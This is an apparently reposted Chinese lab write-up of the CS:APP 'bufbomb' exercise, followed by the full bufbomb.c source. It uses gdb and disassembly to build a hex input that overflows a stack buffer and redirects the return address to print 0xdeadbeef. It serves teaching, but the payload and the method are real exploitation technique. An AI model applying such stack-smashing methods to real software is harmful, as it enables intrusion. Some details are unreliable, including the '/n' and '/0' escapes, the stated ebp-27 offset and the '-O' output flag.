利用缓冲区溢出进行漏洞攻击

缓冲区溢出实验

本内容为《深入理解计算机系统》P199页第38题的实验分析。实验分析平台为:操作系统 LinuxFD,编译系统为gcc

下载文件bufbomb.c,在gcc上运行以下命令

gcc –O2 –c bufbomb.c

gcc –O2 –S bufbomb.c

gcc –O2 –O bufbomb bufbomb.c

可以分别得到二进制文件,反汇编文件以及可执行文件。其实我们主要分析的时候是参考最后一个文件。

分析bufbomb.c的源代码可以发现,在函数getbuf

int getbuf()

{

char buf[12];

getxs(buf);

return 1;

}

分配了12个字节的内存空间,该存储空间会被传送到getxs函数中,而在getxs函数中,控制字符读取的操作为在buffer中得到回车键或者是eof,它可能会超过我们设置的buffer大小,造成buffer的溢出。

我们主要分析getbuf以及test模块,来达到我们的目的。

对于getbuf,我们得到的反编译结果如下:

080484c0 :

 80484c0:       55                      push   %ebp;

 80484c1:       89 e5                   mov    %esp,%ebp

 80484c3:       8d 45 e8                lea    0xffffffe8(%ebp),%eax

 80484c6:       83 ec 24                sub    $0x24,%esp

 80484c9:       50                      push   %eax

 80484ca:       e8 4d ff ff ff          call   804841c

 80484cf:       b8 01 00 00 00          mov    $0x1,%eax

 80484d4:       c9                      leave

 80484d5:       c3                      ret

 80484d6:       89 f6                   mov    %esi,%esi

其对应的栈堆结构如下

利用缓冲区溢出进行漏洞攻击_第1张图片

我们申请的buf当然没有那么大,是12个字节,但是编译器给出来的实际buf的大小如我们标注所示,为24个字节。buf[0]实际为上述ebp-27的单元。因此正常buf范围是ebp-27ebp-4,对应buf[0]buf[23],而buf[24]buf[27]实际为我们所保存的ebp,也就是对应在test模块中的ebpbuf[28]buf[31]为返回地址,实际为返回到test所要执行的代码。

我们采用gdb来确认该模块的重要的参数。在控制台输入

gdb bufbomb

我们就可以调试该程序。我们知道0x080484c3是在getbuf模块以内,我们在此处设置break。方法为

b *0x080484c3

然后运行程序

r

到达这里的时候会自动break,我们得到的结果为%ebp=0xfef38fb8。那么其对应地址单元的内容就是test模块的%ebp,我们采用以下命令获得

print *(int *) 0xfef38fb8     //输出0xfef38fb8单元双字的内容

得到为 -17592360,采用gdb工具得到十六进制

Print /x -17592360

为0xfef38fd8。可见test段对应的堆栈大小为0x20(32个字节)。

接着我们查看返回地址,因为它的地址是0xfef38fbc,得到返回地址是0x080484ed。在我们后面test模块的反编译看到,实际就是其调用后面的那句。

下面我们分析test模块。其反编译结果为

080484d8 :

 80484d8:       55                      push   %ebp

 80484d9:       89 e5                   mov    %esp,%ebp

 80484db:       83 ec 14                sub    $0x14,%esp

 80484de:       68 0c 86 04 08          push   $0x804860c

 80484e3:       e8 5c fe ff ff          call   8048344

 80484e8:       e8 d3 ff ff ff          call   80484c0

 80484ed:       5a                      pop    %edx

 80484ee:       59                      pop    %ecx

 80484ef:       50                      push   %eax

 80484f0:       68 1d 86 04 08          push   $0x804861d

 80484f5:       e8 4a fe ff ff          call   8048344

 80484fa:       c9                      leave

80484fb:       c3                      ret

分析可见,黄色显示的代码为printf的参数,并且它先将要输出的数据保存到堆栈中,接着将输出格式的首地址保存到堆栈中,紧接着函数printf启动,其地址为0x08048344。本来我们的getbuf的返回来的地址应当是执行0x080484ed单元的指令,我们可以让它直接返回到0x080484f5中printf中。我们可以画出来对应的堆栈结构为(此处分析为从getbuf返回以后的堆栈情况)

利用缓冲区溢出进行漏洞攻击_第2张图片

我们的核心目的就是更改这些数据块的内容,使得最后的结果我们预料的结果。首先保存的ebp是不能改变的,它涉及到我们最终返回到test中,这个数据为0xfef38fd8。返回地址我们就将它直接返回到printf语句,为0x080484f5。好最后,我们知道了我们需要输入的数据为

(任意24个字符)d8 8f f3 fe f5 84 04 08 1d 86 04 08 ef be ad de

由此我们顺利的将返回值变成了deadbeef,完成了攻击。

为了大家写文章的积极性,转载请自觉注明,谢谢!

欢迎交流。

qq:14791213

 mail:[email protected]

×××××××××××××××××××××××××××××××

bufbomb.c

××××××××××××××××××××××××××××××

/* Bomb program that is solved using a buffer overflow attack */

#include
#include
#include

/* Like gets, except that characters are typed as pairs of hex digits.
   Nondigit characters are ignored.  Stops when encounters newline */
char *getxs(char *dest)
{
  int c;
  int even = 1; /* Have read even number of digits */
  int otherd = 0; /* Other hex digit of pair */
  char *sp = dest;
  while ((c = getchar()) != EOF && c != '/n') {
    if (isxdigit(c)) {
      int val;
      if ('0' <= c && c <= '9')
 val = c - '0';
      else if ('A' <= c && c <= 'F')
 val = c - 'A' + 10;
      else
 val = c - 'a' + 10;
      if (even) {
 otherd = val;
 even = 0;
      } else {
 *sp++ = otherd * 16 + val;
 even = 1;
      }
    }
  }
  *sp++ = '/0';
  return dest;
}

/* $begin getbuf-c */
int getbuf()
{
    char buf[12];
    getxs(buf);
    return 1;
}

void test()
{
  int val;
  printf("Type Hex string:");
  val = getbuf();
  printf("getbuf returned 0x%x/n", val);
}
/* $end getbuf-c */

int main()
{

  int buf[16];
  /* This little hack is an attempt to get the stack to be in a
     stable position
  */
  int offset = (((int) buf) & 0xFFF);
  int *space = (int *) alloca(offset);
  *space = 0; /* So that don't get complaint of unused variable */
  test();
  return 0;
}

 

 

你可能感兴趣的:(利用缓冲区溢出进行漏洞攻击)